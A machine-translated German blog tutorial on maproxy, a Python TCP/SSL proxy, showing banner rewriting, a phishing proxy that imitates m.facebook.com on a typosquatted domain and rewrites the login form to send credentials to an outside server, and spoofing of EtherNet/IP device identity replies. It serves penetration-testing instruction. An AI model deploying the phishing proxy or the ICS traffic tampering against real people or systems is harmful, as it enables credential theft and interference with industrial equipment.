Netzwerkdatenverarbeitung im laufenden Betrieb

Eine Übersetzung des Artikels wurde vor Beginn des Pentest vorbereitet . Penetrationstestpraxis .





Anmerkung


Eine Vielzahl von Arten der Sicherheitsbewertung, von regelmäßigen Penetrationstests und Red Team-Vorgängen bis hin zum Hacken von IoT / ICS-Geräten und SCADA, bedeutet, mit binären Netzwerkprotokollen zu arbeiten, dh im Wesentlichen Netzwerkdaten zwischen dem Client und dem Ziel abzufangen und zu ändern. Das Aufspüren des Netzwerkverkehrs ist keine schwierige Aufgabe, da wir über Tools wie Wireshark, Tcpdump oder Scapy verfügen. Die Änderung scheint jedoch zeitaufwändiger zu sein, da wir eine einzigartige Schnittstelle zum Lesen, Filtern, Ändern, Ändern und Zurücksenden von Netzwerkdaten benötigen in fast Echtzeit zum Zielhost. Darüber hinaus wäre es ideal, wenn ein solches Tool automatisch mit mehreren parallelen Verbindungen arbeiten und mithilfe von Skripten angepasst werden könnte.

Sobald ich ein Tool namens entdeckt hatte maproxy, ließ mich die Dokumentation das schnell wissen maproxy- genau das, was ich brauchte. Dies ist ein ziemlich einfacher, vielseitiger und einfach zu konfigurierender TCP-Proxy. Ich habe dieses Tool in mehreren recht komplexen Anwendungen getestet, einschließlich ICS-Geräten (die viele Pakete generieren), um herauszufinden, ob es mit vielen parallelen Verbindungen funktioniert, und das Tool hat eine gute Leistung erbracht.

Dieser Artikel führt Sie in die Verarbeitung von Netzwerkdaten im laufenden Betrieb ein maproxy.

Überblick


Das Tool maproxybasiert auf Tornado, einem beliebten und gut entwickelten asynchronen Python-Netzwerkframework.

Im Allgemeinen kann es in verschiedenen Modi arbeiten:

  • TCP:TCP - unverschlüsselte TCP-Verbindungen;
  • TCP:SSLund SSL:TCP- mit Einwegverschlüsselung;
  • SSL:SSL - Zwei-Wege-Verschlüsselung.

Es kommt als Bibliothek. Für den schnellen Start können Sie Beispieldateien verwenden, die die Hauptfunktionen der Bibliothek widerspiegeln :

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Fall 1 - Einfacher bidirektionaler Proxy


Basierend auf tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Standardmäßig werden ProxyServer()zwei Argumente verwendet - der Verbindungsspeicherort und der Zielport. server.listen()nimmt ein Argument - den Port zum Abhören der eingehenden Verbindung.

Skriptausführung:

# python tcp2tcp.py

Um den Test durchzuführen, stellen wir über unser Proxyskript, das den 2222/tcpPort überwacht und eine Verbindung zum Standard- 22/tcpSSH-Server- Port herstellt,



eine Verbindung zum lokalen SSH-Server her : Ein Begrüßungsbanner informiert uns darüber, dass unser Beispielskript den Netzwerkverkehr erfolgreich übertragen hat.

Fall 2 - Datenänderung


Ein weiteres Demo-Skript ist logging_proxy.pyideal für die Interaktion mit Netzwerkdaten. Die Kommentare in der Datei beschreiben Klassenmethoden, die Sie ändern können, um Ihr Ziel zu erreichen:



Die interessantesten hier:

  • on_c2p_done_read - Daten auf dem Weg vom Client zum Server abzufangen;
  • on_p2s_done_read - rückgängig gemacht.

Versuchen wir, das SSH-Banner zu ändern, das der Server an den Client zurückgibt:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Führen Sie das Skript aus:



Wie Sie sehen, wurde der Client in die Irre geführt, da dafür der Name des SSH-Servers geändert wurde «DumnySSH».



Fall 3 - Einfache Phishing-Webseite


Es gibt unendlich viele Verwendungsmöglichkeiten für dieses Tool. Konzentrieren wir uns diesmal auf etwas Praktischeres aus dem Operationsbereich des Roten Teams. Lassen Sie uns die Landung imitieren m.facebook.comund beispielsweise eine benutzerdefinierte Domain mit absichtlichem Tippfehler verwenden m.facebok.com. Nehmen Sie zu Demonstrationszwecken einfach an, dass die Domain von uns registriert ist.

Wir werden eine unverschlüsselte Netzwerkverbindung mit unserem Opfer-Proxy und SSL-Stream für den Facebook-Server herstellen ( 31.13.81.36). Damit dieses Beispiel funktioniert, müssen wir den HTTP-Host-Header ersetzen und den richtigen Hostnamen implementieren. Außerdem wird die Antwortkomprimierung deaktiviert, um einen einfachen Zugriff auf deren Inhalt zu erhalten. Am Ende werden wir das HTML-Formular ersetzen, sodass die Anmeldeinformationen anstelle der Facebook-Server an uns gesendet werden:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action=\"/login/", "action=\"https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Am Ende:



Wie Sie sehen, konnten wir die ursprüngliche Site erfolgreich ersetzen.

Fall 4 - Ethernet / IP-Port


Ich beschäftige mich seit einiger Zeit mit industriellen Geräten und Software (ICS / SCADA) wie programmierbaren Steuerungen (SPS), E / A-Modulen, Antrieben, Relais, Leiterprogrammierumgebungen und vielem mehr. Dieser Fall ist für diejenigen, die industrielle Sachen mögen. Das Hacken solcher Lösungen beinhaltet ein aktives Spiel mit Netzwerkprotokollen. Im folgenden Beispiel möchte ich zeigen, wie Sie den ICS / SCADA-Netzwerkverkehr ändern können.

Dazu benötigen Sie Folgendes:

  • Netzwerk-Sniffer, zum Beispiel Wireshark;
  • Ethernet / IP oder nur ein SIP-Gerät können Sie über den Shodan-Dienst finden.
  • Unser Skript basiert maproxy.

Lassen Sie uns zunächst sehen, wie eine typische Antwort auf die CIP-Identifikation (Common Industrial Protocol) aussieht: Die



Geräteidentifikation erfolgt über Ethernet / IP, eine erweiterte Version von Ethernet für industrielle Anwendungen, die Steuerprotokolle wie CIP umfasst. Wir werden den hervorgehobenen Identifikationsnamen, der im Screenshot von „NI-IndComm for Ethernet“ zu sehen ist, mithilfe unseres Proxy-Skripts ändern . Wir könnten das Skript wiederverwenden logging_proxy.pyund auf ähnliche Weise die Klassenmethode ändern on_p2s_done_read, da ein anderer Identifikationsname auf dem Client sichtbar sein soll.

Der Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'\x0c\x00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Tatsächlich haben wir zweimal nach der Geräteidentifikation gefragt, die zweite Antwort ist das Original und die erste wurde im laufenden Betrieb geändert.

Und der letzte


Meiner Meinung nach ein maproxypraktisches und einfaches Tool, das auch in Python geschrieben ist, daher glaube ich, dass Sie auch von seiner Verwendung profitieren können. Natürlich gibt es ausgefeiltere Tools zum Verarbeiten und Ändern von Netzwerkdaten, aber sie erfordern auch mehr Aufmerksamkeit und werden normalerweise für einen bestimmten Anwendungsfall erstellt, z. B. Muraena , Modlishka oder Evilginx für Fälle ähnlich dem dritten oder Canape für den letzten Fall. Auf die eine oder andere Weise maproxykönnen Sie mithilfe von Hilfe schnell Ihre Ideen zum Abfangen von Netzwerkdaten verwirklichen, da die Skriptbeispiele sehr klar sind.



Testen von Authentifizierungsmechanismen in Windows AD



All Articles